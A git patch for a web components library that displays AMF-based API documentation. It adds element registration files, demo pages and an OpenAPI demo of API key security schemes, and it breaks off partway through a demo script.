From efe1de49e9f9dcc132a8c4205f1cc21a6c9b8b4f Mon Sep 17 00:00:00 2001 From: Pawel Psztyc Date: Mon, 27 Sep 2021 00:56:47 -0700 Subject: [PATCH 01/24] chore: adding base logic for the docs components Signed-off-by: Pawel Psztyc --- api-documentation-document.d.ts | 7 + api-documentation-document.js | 3 + api-operation-document.d.ts | 7 + api-operation-document.js | 3 + api-parameter-document.d.ts | 7 + api-parameter-document.js | 3 + api-parametrized-security-scheme.d.ts | 7 + api-parametrized-security-scheme.js | 3 + api-payload-document.d.ts | 7 + api-payload-document.js | 3 + api-request-document.d.ts | 7 + api-request-document.js | 3 + api-resource-document.d.ts | 7 + api-resource-document.js | 3 + api-response-document.d.ts | 7 + api-response-document.js | 3 + api-schema-document.d.ts | 7 + api-schema-document.js | 3 + api-security-document.d.ts | 7 + api-security-document.js | 3 + api-security-requirement-document.d.ts | 7 + api-security-requirement-document.js | 3 + demo/api-documentation-document.html | 16 + demo/api-documentation-document.js | 86 + demo/api-documentation.html | 204 ++ demo/{index.js => api-documentation.js} | 0 demo/api-keys/api-keys.yaml | 85 + demo/api-operation.html | 16 + demo/api-operation.js | 116 + demo/api-resource.html | 16 + demo/api-resource.js | 123 + demo/api-schema-documentation.html | 16 + demo/api-schema-documentation.js | 95 + demo/api-security-documentation.html | 16 + demo/api-security-documentation.js | 115 + demo/apis.json | 21 - demo/demo.css | 112 + .../examples/API-instance.json | 14 - .../examples/asset-users.json | 11 - .../examples/asset.json | 157 - .../examples/assetStatus.json | 3 - .../examples/assets.json | 159 - .../examples/assign-users.json | 6 - .../examples/client-applications.json | 41 - .../examples/contracts.json | 36 - .../examples/file.json | 4 - .../get-client-application-response.json | 11 - .../examples/health-response.json | 53 - .../examples/page.d.ts | 13 - .../examples/page.html | 14 - .../examples/page.json | 4 - demo/exchange-experience-api/examples/page.md | 13 - .../examples/pageCreate.json | 3 - .../examples/pages.json | 10 - .../examples/patch-API-instance-body.json | 5 - .../examples/patch-asset-metadata.json | 22 - .../patch-client-application-body.json | 22 - .../patch-client-application-response.json | 22 - .../examples/patch-review-body.json | 4 - .../examples/patch-review-comment-body.json | 3 - .../examples/portal.json | 13 - .../examples/portalCustomization.json | 20 - .../examples/portalCustomizationUpdate.json | 10 - .../examples/post-API-instance-body.json | 5 - .../examples/post-asset-multipart.txt | 29 - .../post-client-application-body.json | 18 - .../post-client-application-response.json | 22 - .../examples/post-contract-response.json | 18 - .../examples/post-contract.json | 7 - .../examples/post-review-body.json | 5 - .../examples/post-review-comment-body.json | 3 - ...t-search-versions-reviews-result-body.json | 6 - .../examples/profile.json | 3 - .../examples/public-versions.json | 8 - .../examples/rating.json | 8 - .../examples/review-comment.json | 11 - .../examples/review-comments.json | 24 - .../examples/review.json | 19 - .../examples/reviews.json | 21 - .../examples/search-queries.json | 8 - .../examples/search-query.json | 8 - .../examples/tags.json | 22 - .../examples/tiers.json | 26 - .../examples/users.json | 10 - .../exchange-experience-api.raml | 1069 ------ demo/exchange-experience-api/exchange.json | 1 - .../schemas/API-instance.json | 51 - .../schemas/asset-users.json | 38 - .../schemas/asset.json | 357 -- .../schemas/assetStatus.json | 13 - .../schemas/assets.json | 361 -- .../schemas/assign-users.json | 19 - .../schemas/client-applications.json | 86 - .../schemas/contract.json | 49 - .../schemas/contracts.json | 52 - .../schemas/create-search-query.json | 30 - .../schemas/metadata.json | 36 - .../schemas/pageCreate.json | 12 - .../schemas/pages.json | 17 - .../schemas/patch-API-instance-body.json | 17 - .../schemas/patch-review-body.json | 15 - .../schemas/patch-review-comment-body.json | 10 - .../schemas/portal.json | 28 - .../schemas/portalCustomization.json | 52 - .../schemas/post-API-instance-body.json | 18 - .../schemas/post-review-body.json | 25 - .../schemas/post-review-comment-body.json | 13 - .../post-search-versions-reviews-body.json | 11 - .../schemas/public-versions.json | 15 - .../schemas/rating.json | 30 - .../schemas/review.json | 66 - .../schemas/reviews.json | 70 - .../schemas/search-queries.json | 23 - .../exchange-experience-api/schemas/tags.json | 21 - .../schemas/tiers.json | 41 - .../schemas/update-search-query.json | 34 - .../schemas/users.json | 34 - .../securitySchemes/oauth2.raml | 29 - .../traits/deleteable.raml | 6 - .../traits/searchable.raml | 49 - demo/index.html | 225 +- demo/lib/AmfDemoBase.js | 33 + demo/model.js | 4 - demo/model.mjs | 32 + demo/oas-bearer/oas-bearer.yaml | 45 + demo/oauth-authorize.html | 83 + demo/oauth-authorize.js | 41 + demo/oauth-flows/oauth-flows.yaml | 61 + demo/oauth-pkce/oauth-2-pkce.raml | 33 + demo/oauth-pkce/oauth-pkce.raml | 22 + demo/prepare.js | 43 - demo/secured-api/oauth-2-custom-settings.raml | 143 + demo/secured-api/oauth2-header-delivery.raml | 13 + demo/secured-api/oauth2-no-delivery.raml | 8 + demo/secured-api/oauth2-no-grants.raml | 12 + demo/secured-api/oauth2-pkce.raml | 13 + demo/secured-api/oauth2-query-delivery.raml | 13 + demo/secured-api/oauth_1_0.raml | 8 + demo/secured-api/oauth_1_0_no-settings.raml | 3 + demo/secured-api/oauth_1_0_no-signature.raml | 7 + demo/secured-api/oauth_1_0_signature.raml | 8 + demo/secured-api/passthrough-querystring.raml | 16 + demo/secured-api/passthrough.raml | 24 + demo/secured-api/secured-api.raml | 231 ++ demo/secured-api/x-custom.raml | 33 + demo/secured-api/x-other.raml | 29 + demo/secured-api/x-query-string.raml | 16 + demo/secured-unions/secured-unions.yaml | 87 + index.d.ts | 10 +- index.js | 10 +- karma.conf.js | 109 - package-lock.json | 3072 +++++------------ package.json | 45 +- src/elements/ApiDocumentationBase.d.ts | 84 + src/elements/ApiDocumentationBase.js | 217 ++ .../ApiDocumentationDocumentElement.d.ts | 31 + .../ApiDocumentationDocumentElement.js | 98 + src/elements/ApiOperationDocumentElement.js | 478 +++ src/elements/ApiParameterDocumentElement.js | 133 + .../ApiParametrizedSecuritySchemeElement.js | 94 + src/elements/ApiPayloadDocumentElement.js | 146 + src/elements/ApiRequestDocumentElement.js | 292 ++ .../ApiResourceDocumentationElement.js | 326 ++ src/elements/ApiResponseDocumentElement.js | 235 ++ src/elements/ApiSchemaDocumentElement.js | 818 +++++ src/elements/ApiSecurityDocumentElement.js | 646 ++++ .../ApiSecurityRequirementDocumentElement.js | 67 + src/elements/SchemaCommonTemplates.js | 474 +++ .../styles/ApiDocumentationDocument.js | 19 + src/elements/styles/ApiOperation.js | 33 + src/elements/styles/ApiParameter.js | 7 + src/elements/styles/ApiPayload.js | 7 + src/elements/styles/ApiRequest.js | 7 + src/elements/styles/ApiResource.js | 33 + src/elements/styles/ApiResponse.js | 8 + src/elements/styles/ApiSchema.js | 24 + src/elements/styles/ApiSecurityDocument.js | 85 + src/elements/styles/AuthorizationEditor.js | 21 + src/elements/styles/AuthorizationMethod.js | 59 + src/elements/styles/Common.js | 105 + src/elements/styles/HttpRequest.js | 39 + .../styles/ParametrizedSecurityElement.js | 14 + src/elements/styles/SchemaCommon.js | 315 ++ src/lib/UrlUtils.js | 155 + src/lib/Utils.js | 64 + src/{ => old}/ApiDocumentationElement.d.ts | 0 src/{ => old}/ApiDocumentationElement.js | 0 src/types.d.ts | 46 + 188 files changed, 8328 insertions(+), 6283 deletions(-) create mode 100644 api-documentation-document.d.ts create mode 100644 api-documentation-document.js create mode 100644 api-operation-document.d.ts create mode 100644 api-operation-document.js create mode 100644 api-parameter-document.d.ts create mode 100644 api-parameter-document.js create mode 100644 api-parametrized-security-scheme.d.ts create mode 100644 api-parametrized-security-scheme.js create mode 100644 api-payload-document.d.ts create mode 100644 api-payload-document.js create mode 100644 api-request-document.d.ts create mode 100644 api-request-document.js create mode 100644 api-resource-document.d.ts create mode 100644 api-resource-document.js create mode 100644 api-response-document.d.ts create mode 100644 api-response-document.js create mode 100644 api-schema-document.d.ts create mode 100644 api-schema-document.js create mode 100644 api-security-document.d.ts create mode 100644 api-security-document.js create mode 100644 api-security-requirement-document.d.ts create mode 100644 api-security-requirement-document.js create mode 100644 demo/api-documentation-document.html create mode 100644 demo/api-documentation-document.js create mode 100644 demo/api-documentation.html rename demo/{index.js => api-documentation.js} (100%) create mode 100644 demo/api-keys/api-keys.yaml create mode 100644 demo/api-operation.html create mode 100644 demo/api-operation.js create mode 100644 demo/api-resource.html create mode 100644 demo/api-resource.js create mode 100644 demo/api-schema-documentation.html create mode 100644 demo/api-schema-documentation.js create mode 100644 demo/api-security-documentation.html create mode 100644 demo/api-security-documentation.js delete mode 100644 demo/apis.json create mode 100644 demo/demo.css delete mode 100644 demo/exchange-experience-api/examples/API-instance.json delete mode 100644 demo/exchange-experience-api/examples/asset-users.json delete mode 100644 demo/exchange-experience-api/examples/asset.json delete mode 100644 demo/exchange-experience-api/examples/assetStatus.json delete mode 100644 demo/exchange-experience-api/examples/assets.json delete mode 100644 demo/exchange-experience-api/examples/assign-users.json delete mode 100644 demo/exchange-experience-api/examples/client-applications.json delete mode 100644 demo/exchange-experience-api/examples/contracts.json delete mode 100644 demo/exchange-experience-api/examples/file.json delete mode 100644 demo/exchange-experience-api/examples/get-client-application-response.json delete mode 100644 demo/exchange-experience-api/examples/health-response.json delete mode 100644 demo/exchange-experience-api/examples/page.d.ts delete mode 100644 demo/exchange-experience-api/examples/page.html delete mode 100644 demo/exchange-experience-api/examples/page.json delete mode 100644 demo/exchange-experience-api/examples/page.md delete mode 100644 demo/exchange-experience-api/examples/pageCreate.json delete mode 100644 demo/exchange-experience-api/examples/pages.json delete mode 100644 demo/exchange-experience-api/examples/patch-API-instance-body.json delete mode 100644 demo/exchange-experience-api/examples/patch-asset-metadata.json delete mode 100644 demo/exchange-experience-api/examples/patch-client-application-body.json delete mode 100644 demo/exchange-experience-api/examples/patch-client-application-response.json delete mode 100644 demo/exchange-experience-api/examples/patch-review-body.json delete mode 100644 demo/exchange-experience-api/examples/patch-review-comment-body.json delete mode 100644 demo/exchange-experience-api/examples/portal.json delete mode 100644 demo/exchange-experience-api/examples/portalCustomization.json delete mode 100644 demo/exchange-experience-api/examples/portalCustomizationUpdate.json delete mode 100644 demo/exchange-experience-api/examples/post-API-instance-body.json delete mode 100644 demo/exchange-experience-api/examples/post-asset-multipart.txt delete mode 100644 demo/exchange-experience-api/examples/post-client-application-body.json delete mode 100644 demo/exchange-experience-api/examples/post-client-application-response.json delete mode 100644 demo/exchange-experience-api/examples/post-contract-response.json delete mode 100644 demo/exchange-experience-api/examples/post-contract.json delete mode 100644 demo/exchange-experience-api/examples/post-review-body.json delete mode 100644 demo/exchange-experience-api/examples/post-review-comment-body.json delete mode 100644 demo/exchange-experience-api/examples/post-search-versions-reviews-result-body.json delete mode 100644 demo/exchange-experience-api/examples/profile.json delete mode 100644 demo/exchange-experience-api/examples/public-versions.json delete mode 100644 demo/exchange-experience-api/examples/rating.json delete mode 100644 demo/exchange-experience-api/examples/review-comment.json delete mode 100644 demo/exchange-experience-api/examples/review-comments.json delete mode 100644 demo/exchange-experience-api/examples/review.json delete mode 100644 demo/exchange-experience-api/examples/reviews.json delete mode 100644 demo/exchange-experience-api/examples/search-queries.json delete mode 100644 demo/exchange-experience-api/examples/search-query.json delete mode 100644 demo/exchange-experience-api/examples/tags.json delete mode 100644 demo/exchange-experience-api/examples/tiers.json delete mode 100644 demo/exchange-experience-api/examples/users.json delete mode 100644 demo/exchange-experience-api/exchange-experience-api.raml delete mode 100644 demo/exchange-experience-api/exchange.json delete mode 100644 demo/exchange-experience-api/schemas/API-instance.json delete mode 100644 demo/exchange-experience-api/schemas/asset-users.json delete mode 100644 demo/exchange-experience-api/schemas/asset.json delete mode 100644 demo/exchange-experience-api/schemas/assetStatus.json delete mode 100644 demo/exchange-experience-api/schemas/assets.json delete mode 100644 demo/exchange-experience-api/schemas/assign-users.json delete mode 100644 demo/exchange-experience-api/schemas/client-applications.json delete mode 100644 demo/exchange-experience-api/schemas/contract.json delete mode 100644 demo/exchange-experience-api/schemas/contracts.json delete mode 100644 demo/exchange-experience-api/schemas/create-search-query.json delete mode 100644 demo/exchange-experience-api/schemas/metadata.json delete mode 100644 demo/exchange-experience-api/schemas/pageCreate.json delete mode 100644 demo/exchange-experience-api/schemas/pages.json delete mode 100644 demo/exchange-experience-api/schemas/patch-API-instance-body.json delete mode 100644 demo/exchange-experience-api/schemas/patch-review-body.json delete mode 100644 demo/exchange-experience-api/schemas/patch-review-comment-body.json delete mode 100644 demo/exchange-experience-api/schemas/portal.json delete mode 100644 demo/exchange-experience-api/schemas/portalCustomization.json delete mode 100644 demo/exchange-experience-api/schemas/post-API-instance-body.json delete mode 100644 demo/exchange-experience-api/schemas/post-review-body.json delete mode 100644 demo/exchange-experience-api/schemas/post-review-comment-body.json delete mode 100644 demo/exchange-experience-api/schemas/post-search-versions-reviews-body.json delete mode 100644 demo/exchange-experience-api/schemas/public-versions.json delete mode 100644 demo/exchange-experience-api/schemas/rating.json delete mode 100644 demo/exchange-experience-api/schemas/review.json delete mode 100644 demo/exchange-experience-api/schemas/reviews.json delete mode 100644 demo/exchange-experience-api/schemas/search-queries.json delete mode 100644 demo/exchange-experience-api/schemas/tags.json delete mode 100644 demo/exchange-experience-api/schemas/tiers.json delete mode 100644 demo/exchange-experience-api/schemas/update-search-query.json delete mode 100644 demo/exchange-experience-api/schemas/users.json delete mode 100644 demo/exchange-experience-api/securitySchemes/oauth2.raml delete mode 100644 demo/exchange-experience-api/traits/deleteable.raml delete mode 100644 demo/exchange-experience-api/traits/searchable.raml create mode 100644 demo/lib/AmfDemoBase.js delete mode 100644 demo/model.js create mode 100644 demo/model.mjs create mode 100644 demo/oas-bearer/oas-bearer.yaml create mode 100644 demo/oauth-authorize.html create mode 100644 demo/oauth-authorize.js create mode 100644 demo/oauth-flows/oauth-flows.yaml create mode 100644 demo/oauth-pkce/oauth-2-pkce.raml create mode 100644 demo/oauth-pkce/oauth-pkce.raml delete mode 100644 demo/prepare.js create mode 100644 demo/secured-api/oauth-2-custom-settings.raml create mode 100644 demo/secured-api/oauth2-header-delivery.raml create mode 100644 demo/secured-api/oauth2-no-delivery.raml create mode 100644 demo/secured-api/oauth2-no-grants.raml create mode 100644 demo/secured-api/oauth2-pkce.raml create mode 100644 demo/secured-api/oauth2-query-delivery.raml create mode 100644 demo/secured-api/oauth_1_0.raml create mode 100644 demo/secured-api/oauth_1_0_no-settings.raml create mode 100644 demo/secured-api/oauth_1_0_no-signature.raml create mode 100644 demo/secured-api/oauth_1_0_signature.raml create mode 100644 demo/secured-api/passthrough-querystring.raml create mode 100644 demo/secured-api/passthrough.raml create mode 100644 demo/secured-api/secured-api.raml create mode 100644 demo/secured-api/x-custom.raml create mode 100644 demo/secured-api/x-other.raml create mode 100644 demo/secured-api/x-query-string.raml create mode 100644 demo/secured-unions/secured-unions.yaml delete mode 100644 karma.conf.js create mode 100644 src/elements/ApiDocumentationBase.d.ts create mode 100644 src/elements/ApiDocumentationBase.js create mode 100644 src/elements/ApiDocumentationDocumentElement.d.ts create mode 100644 src/elements/ApiDocumentationDocumentElement.js create mode 100644 src/elements/ApiOperationDocumentElement.js create mode 100644 src/elements/ApiParameterDocumentElement.js create mode 100644 src/elements/ApiParametrizedSecuritySchemeElement.js create mode 100644 src/elements/ApiPayloadDocumentElement.js create mode 100644 src/elements/ApiRequestDocumentElement.js create mode 100644 src/elements/ApiResourceDocumentationElement.js create mode 100644 src/elements/ApiResponseDocumentElement.js create mode 100644 src/elements/ApiSchemaDocumentElement.js create mode 100644 src/elements/ApiSecurityDocumentElement.js create mode 100644 src/elements/ApiSecurityRequirementDocumentElement.js create mode 100644 src/elements/SchemaCommonTemplates.js create mode 100644 src/elements/styles/ApiDocumentationDocument.js create mode 100644 src/elements/styles/ApiOperation.js create mode 100644 src/elements/styles/ApiParameter.js create mode 100644 src/elements/styles/ApiPayload.js create mode 100644 src/elements/styles/ApiRequest.js create mode 100644 src/elements/styles/ApiResource.js create mode 100644 src/elements/styles/ApiResponse.js create mode 100644 src/elements/styles/ApiSchema.js create mode 100644 src/elements/styles/ApiSecurityDocument.js create mode 100644 src/elements/styles/AuthorizationEditor.js create mode 100644 src/elements/styles/AuthorizationMethod.js create mode 100644 src/elements/styles/Common.js create mode 100644 src/elements/styles/HttpRequest.js create mode 100644 src/elements/styles/ParametrizedSecurityElement.js create mode 100644 src/elements/styles/SchemaCommon.js create mode 100644 src/lib/UrlUtils.js create mode 100644 src/lib/Utils.js rename src/{ => old}/ApiDocumentationElement.d.ts (100%) rename src/{ => old}/ApiDocumentationElement.js (100%) create mode 100644 src/types.d.ts diff --git a/api-documentation-document.d.ts b/api-documentation-document.d.ts new file mode 100644 index 0000000..cb22b9d --- /dev/null +++ b/api-documentation-document.d.ts @@ -0,0 +1,7 @@ +import Element from './src/elements/ApiDocumentationDocumentElement'; + +declare global { + interface HTMLElementTagNameMap { + "api-documentation-document": Element; + } +} diff --git a/api-documentation-document.js b/api-documentation-document.js new file mode 100644 index 0000000..7fb7db1 --- /dev/null +++ b/api-documentation-document.js @@ -0,0 +1,3 @@ +import Element from './src/elements/ApiDocumentationDocumentElement.js'; + +window.customElements.define('api-documentation-document', Element); diff --git a/api-operation-document.d.ts b/api-operation-document.d.ts new file mode 100644 index 0000000..228e1fa --- /dev/null +++ b/api-operation-document.d.ts @@ -0,0 +1,7 @@ +import Element from './src/elements/ApiOperationDocumentElement'; + +declare global { + interface HTMLElementTagNameMap { + "api-operation-document": Element; + } +} diff --git a/api-operation-document.js b/api-operation-document.js new file mode 100644 index 0000000..33b34fa --- /dev/null +++ b/api-operation-document.js @@ -0,0 +1,3 @@ +import Element from './src/elements/ApiOperationDocumentElement.js'; + +window.customElements.define('api-operation-document', Element); diff --git a/api-parameter-document.d.ts b/api-parameter-document.d.ts new file mode 100644 index 0000000..2de252a --- /dev/null +++ b/api-parameter-document.d.ts @@ -0,0 +1,7 @@ +import Element from './src/elements/ApiParameterDocumentElement'; + +declare global { + interface HTMLElementTagNameMap { + "api-parameter-document": Element; + } +} diff --git a/api-parameter-document.js b/api-parameter-document.js new file mode 100644 index 0000000..70f1d97 --- /dev/null +++ b/api-parameter-document.js @@ -0,0 +1,3 @@ +import Element from './src/elements/ApiParameterDocumentElement.js'; + +window.customElements.define('api-parameter-document', Element); diff --git a/api-parametrized-security-scheme.d.ts b/api-parametrized-security-scheme.d.ts new file mode 100644 index 0000000..c4d8cc2 --- /dev/null +++ b/api-parametrized-security-scheme.d.ts @@ -0,0 +1,7 @@ +import Element from './src/elements/ApiParametrizedSecuritySchemeElement'; + +declare global { + interface HTMLElementTagNameMap { + "api-parametrized-security-scheme": Element; + } +} diff --git a/api-parametrized-security-scheme.js b/api-parametrized-security-scheme.js new file mode 100644 index 0000000..a7e65bf --- /dev/null +++ b/api-parametrized-security-scheme.js @@ -0,0 +1,3 @@ +import Element from './src/elements/ApiParametrizedSecuritySchemeElement.js'; + +window.customElements.define('api-parametrized-security-scheme', Element); diff --git a/api-payload-document.d.ts b/api-payload-document.d.ts new file mode 100644 index 0000000..0a24b16 --- /dev/null +++ b/api-payload-document.d.ts @@ -0,0 +1,7 @@ +import Element from './src/elements/ApiPayloadDocumentElement'; + +declare global { + interface HTMLElementTagNameMap { + "api-payload-document": Element; + } +} diff --git a/api-payload-document.js b/api-payload-document.js new file mode 100644 index 0000000..04ac73e --- /dev/null +++ b/api-payload-document.js @@ -0,0 +1,3 @@ +import Element from './src/elements/ApiPayloadDocumentElement.js'; + +window.customElements.define('api-payload-document', Element); diff --git a/api-request-document.d.ts b/api-request-document.d.ts new file mode 100644 index 0000000..9d36513 --- /dev/null +++ b/api-request-document.d.ts @@ -0,0 +1,7 @@ +import Element from './src/elements/AmfRequestDocumentElement'; + +declare global { + interface HTMLElementTagNameMap { + "api-request-document": Element; + } +} diff --git a/api-request-document.js b/api-request-document.js new file mode 100644 index 0000000..090f057 --- /dev/null +++ b/api-request-document.js @@ -0,0 +1,3 @@ +import Element from './src/elements/ApiRequestDocumentElement.js'; + +window.customElements.define('api-request-document', Element); diff --git a/api-resource-document.d.ts b/api-resource-document.d.ts new file mode 100644 index 0000000..a2f2061 --- /dev/null +++ b/api-resource-document.d.ts @@ -0,0 +1,7 @@ +import Element from './src/elements/ApiResourceDocumentationElement'; + +declare global { + interface HTMLElementTagNameMap { + "api-resource-document": Element; + } +} diff --git a/api-resource-document.js b/api-resource-document.js new file mode 100644 index 0000000..bb27969 --- /dev/null +++ b/api-resource-document.js @@ -0,0 +1,3 @@ +import Element from './src/elements/ApiResourceDocumentationElement.js'; + +window.customElements.define('api-resource-document', Element); diff --git a/api-response-document.d.ts b/api-response-document.d.ts new file mode 100644 index 0000000..5627063 --- /dev/null +++ b/api-response-document.d.ts @@ -0,0 +1,7 @@ +import Element from './src/elements/ApiResponseDocumentElement'; + +declare global { + interface HTMLElementTagNameMap { + "api-response-document": Element; + } +} diff --git a/api-response-document.js b/api-response-document.js new file mode 100644 index 0000000..5923bed --- /dev/null +++ b/api-response-document.js @@ -0,0 +1,3 @@ +import Element from './src/elements/ApiResponseDocumentElement.js'; + +window.customElements.define('api-response-document', Element); diff --git a/api-schema-document.d.ts b/api-schema-document.d.ts new file mode 100644 index 0000000..edfd6e7 --- /dev/null +++ b/api-schema-document.d.ts @@ -0,0 +1,7 @@ +import Element from './src/elements/ApiSchemaDocumentElement'; + +declare global { + interface HTMLElementTagNameMap { + "api-schema-document": Element; + } +} diff --git a/api-schema-document.js b/api-schema-document.js new file mode 100644 index 0000000..c9b7422 --- /dev/null +++ b/api-schema-document.js @@ -0,0 +1,3 @@ +import Element from './src/elements/ApiSchemaDocumentElement.js'; + +window.customElements.define('api-schema-document', Element); diff --git a/api-security-document.d.ts b/api-security-document.d.ts new file mode 100644 index 0000000..fca8658 --- /dev/null +++ b/api-security-document.d.ts @@ -0,0 +1,7 @@ +import Element from './src/elements/ApiSecurityDocumentElement'; + +declare global { + interface HTMLElementTagNameMap { + "api-security-document": Element; + } +} diff --git a/api-security-document.js b/api-security-document.js new file mode 100644 index 0000000..32985fd --- /dev/null +++ b/api-security-document.js @@ -0,0 +1,3 @@ +import Element from './src/elements/ApiSecurityDocumentElement.js'; + +window.customElements.define('api-security-document', Element); diff --git a/api-security-requirement-document.d.ts b/api-security-requirement-document.d.ts new file mode 100644 index 0000000..5e6345a --- /dev/null +++ b/api-security-requirement-document.d.ts @@ -0,0 +1,7 @@ +import Element from './src/elements/ApiSecurityRequirementDocumentElement'; + +declare global { + interface HTMLElementTagNameMap { + "api-security-requirement-document": Element; + } +} diff --git a/api-security-requirement-document.js b/api-security-requirement-document.js new file mode 100644 index 0000000..f0b143c --- /dev/null +++ b/api-security-requirement-document.js @@ -0,0 +1,3 @@ +import Element from './src/elements/ApiSecurityRequirementDocumentElement.js'; + +window.customElements.define('api-security-requirement-document', Element); diff --git a/demo/api-documentation-document.html b/demo/api-documentation-document.html new file mode 100644 index 0000000..7269400 --- /dev/null +++ b/demo/api-documentation-document.html @@ -0,0 +1,16 @@ + + + + + + + AMF Documentation Document + + + + +
+ + + + diff --git a/demo/api-documentation-document.js b/demo/api-documentation-document.js new file mode 100644 index 0000000..4a79946 --- /dev/null +++ b/demo/api-documentation-document.js @@ -0,0 +1,86 @@ +import { html } from 'lit-html'; +import '@advanced-rest-client/arc-demo-helper/arc-interactive-demo.js'; +import '@api-components/api-navigation/api-navigation.js'; +import { AmfDemoBase } from './lib/AmfDemoBase.js'; +import '../api-documentation-document.js'; + +class ComponentPage extends AmfDemoBase { + constructor() { + super(); + this.initObservableProperties([ + 'selectedId', 'selectedType', 'loaded', + ]); + this.componentName = 'api-documentation-document'; + this.renderViewControls = true; + this.loaded = false; + this.selectedId = undefined; + this.selectedType = undefined; + } + + /** + * @param {CustomEvent} e + */ + _navChanged(e) { + const { selected, type, passive } = e.detail; + if (passive) { + return; + } + if (type === 'documentation') { + this.selectedId = selected; + this.selectedType = type; + } else { + this.selectedId = undefined; + this.selectedType = undefined; + } + } + + async _loadFile(file) { + await super._loadFile(file); + this.loaded = true; + } + + contentTemplate() { + return html` +

API documentation

+ ${this.demoTemplate()} + `; + } + + demoTemplate() { + const { loaded } = this; + return html` +
+

Interactive demo

+

+ This demo lets you preview the API documentation document with various configuration options. +

+ +
+ ${!loaded ? html`

Load an API model first.

` : this._componentTemplate()} +
+
+ `; + } + + _componentTemplate() { + const { demoStates, darkThemeActive, selectedId, amf } = this; + if (!selectedId) { + return html`

Select API documentation in the navigation

`; + } + return html` + + + + `; + } +} +const instance = new ComponentPage(); +instance.render(); diff --git a/demo/api-documentation.html b/demo/api-documentation.html new file mode 100644 index 0000000..e91ef5b --- /dev/null +++ b/demo/api-documentation.html @@ -0,0 +1,204 @@ + + + + + + + api-documentation + + + + + +
+ + + + diff --git a/demo/index.js b/demo/api-documentation.js similarity index 100% rename from demo/index.js rename to demo/api-documentation.js diff --git a/demo/api-keys/api-keys.yaml b/demo/api-keys/api-keys.yaml new file mode 100644 index 0000000..82b0c1d --- /dev/null +++ b/demo/api-keys/api-keys.yaml @@ -0,0 +1,85 @@ +openapi: 3.0.0 + +info: + version: 1.0.0 + title: OAS API key API + +servers: + - url: https://{customerId}.saas-app.com:{port}/v2 + variables: + customerId: + default: demo + description: Customer ID assigned by the service provider + port: + enum: + - '443' + - '8443' + default: '443' + +components: + schemas: + Error: + type: object + properties: + name: + type: string + example: ServerException + message: + type: string + example: Some server error occurred + securitySchemes: + clientQuery: + type: apiKey + name: client_id + in: query + clientSecret: + type: apiKey + name: client_secret + in: header + clientCookie: + type: apiKey + name: client_secret + in: cookie + clientMulti: + type: apiKey + name: client_multi + in: header + +paths: + /query: + get: + security: + - clientQuery: [] + responses: + default: + description: Unexpected error + /header: + get: + security: + - clientSecret: [] + responses: + default: + description: Unexpected error + /cookie: + get: + security: + - clientCookie: [] + responses: + default: + description: Unexpected error + /junction: + get: + security: + - clientQuery: [] + clientMulti: [] + responses: + default: + description: Unexpected error + /split: + get: + security: + - clientQuery: [] + - clientMulti: [] + responses: + default: + description: Unexpected error diff --git a/demo/api-operation.html b/demo/api-operation.html new file mode 100644 index 0000000..215777b --- /dev/null +++ b/demo/api-operation.html @@ -0,0 +1,16 @@ + + + + + + + API Operation + + + + +
+ + + + diff --git a/demo/api-operation.js b/demo/api-operation.js new file mode 100644 index 0000000..c1ee93f --- /dev/null +++ b/demo/api-operation.js @@ -0,0 +1,116 @@ +import { html } from 'lit-html'; +import '@advanced-rest-client/arc-demo-helper/arc-interactive-demo.js'; +import '@anypoint-web-components/anypoint-checkbox/anypoint-checkbox.js'; +import { AmfDemoBase } from './lib/AmfDemoBase.js'; +import '../api-operation-document.js'; + +class ComponentPage extends AmfDemoBase { + constructor() { + super(); + this.initObservableProperties([ + 'selectedId', 'selectedType', + ]); + this.selectedId = undefined; + this.selectedType = undefined; + this.componentName = 'api-operation-document'; + } + + /** + * @param {CustomEvent} e + */ + _navChanged(e) { + const { selected, type, passive } = e.detail; + if (passive) { + return; + } + if (type === 'method') { + this.selectedId = selected; + this.selectedType = type; + } else { + this.selectedId = undefined; + this.selectedType = undefined; + } + } + + contentTemplate() { + return html` +

API operation

+ ${this.demoTemplate()} + `; + } + + demoTemplate() { + const { loaded } = this; + return html` +
+

Interactive demo

+

+ This demo lets you preview the API Operation document with various configuration options. +

+ +
+ ${!loaded ? html`

Load an API model first.

` : this._componentTemplate()} +
+
+ `; + } + + _componentTemplate() { + const { demoStates, darkThemeActive, selectedId, amf } = this; + if (!selectedId) { + return html`

Select API operation in the navigation

`; + } + return html` + + + + + + + Edit graph + + + `; + } + + _apiListTemplate() { + const result = []; + [ + ['demo-api', 'Demo API'], + ['google-drive-api', 'Google Drive'], + ['multi-server', 'Multiple servers'], + ['nexmo-sms-api', 'Nexmo SMS API'], + ['appian-api', 'Applian API'], + ['APIC-15', 'APIC-15'], + ['SE-10469', 'SE-10469'], + ['SE-11415', 'SE-11415'], + ['async-api', 'async-api'], + ['api-keys', 'API key (OAS)'], + ['oauth-flows', 'OAuth 2 flows'], + ['oas-bearer', 'Bearer token'], + ['oauth-pkce', 'OAuth 2 PKCE'], + ['secured-unions', 'Secured unions'], + ['secured-api', 'Secured API'], + ].forEach(([file, label]) => { + result[result.length] = html` + ${label} - compact model + ${label}`; + }); + return result; + } +} +const instance = new ComponentPage(); +instance.render(); diff --git a/demo/api-resource.html b/demo/api-resource.html new file mode 100644 index 0000000..38fd74c --- /dev/null +++ b/demo/api-resource.html @@ -0,0 +1,16 @@ + + + + + + + API Endpoint + + + + +
+ + + + diff --git a/demo/api-resource.js b/demo/api-resource.js new file mode 100644 index 0000000..be75eaf --- /dev/null +++ b/demo/api-resource.js @@ -0,0 +1,123 @@ +import { html } from 'lit-html'; +import '@advanced-rest-client/arc-demo-helper/arc-interactive-demo.js'; +import '@anypoint-web-components/anypoint-checkbox/anypoint-checkbox.js'; +import { AmfDemoBase } from './lib/AmfDemoBase.js'; +import '../api-resource-document.js'; + +class ComponentPage extends AmfDemoBase { + constructor() { + super(); + this.initObservableProperties([ 'selectedId', 'selectedType', 'selectedOperation' ]); + this.edit = true; + this.selectedId = undefined; + this.selectedType = undefined; + this.selectedOperation = undefined; + this.componentName = 'api-endpoint-document'; + } + + /** + * @param {CustomEvent} e + */ + _navChanged(e) { + const { selected, type, passive, endpointId } = e.detail; + if (passive) { + return; + } + if (type === 'endpoint') { + this.selectedId = selected; + this.selectedType = type; + this.selectedOperation = undefined; + } else if (type === 'method') { + this.selectedId = endpointId; + this.selectedType = 'endpoint'; + this.selectedOperation = selected; + } else { + this.selectedId = undefined; + this.selectedType = undefined; + this.selectedOperation = undefined; + } + } + + contentTemplate() { + return html` +

API endpoint

+ ${this.demoTemplate()} + `; + } + + demoTemplate() { + const { loaded } = this; + return html` +
+

